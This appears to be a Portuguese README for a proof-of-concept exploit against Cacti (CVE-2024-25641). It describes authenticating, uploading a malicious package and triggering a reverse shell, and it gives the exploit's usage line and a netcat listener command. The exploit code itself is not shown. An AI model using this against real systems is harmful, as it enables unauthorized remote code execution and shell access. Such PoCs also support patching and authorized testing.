Cacti CVE-2024-25641 Autenticação de Upload de Pacote RCE Prova de Conceito (PoC)

Este script é uma Prova de Conceito (PoC) para explorar a vulnerabilidade CVE-2024-25641 no Cacti, uma ferramenta de monitoramento baseada na web. O script automatiza o processo de autenticação com a aplicação, upload de um pacote malicioso e ativação de um reverse shell.

Requisitos

• Python 3.x
• Biblioteca requests
• Biblioteca argparse
• Biblioteca re

Você pode instalar a biblioteca Python necessária usando o pip3:

pip3 install requests
pip3 install argparse
pip3 install re

Uso

(certifique-se de colocar o test.xml.gz no mesmo diretório que o exploit.py)

python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]

Iniciar listener nc

nc -nvlp <port>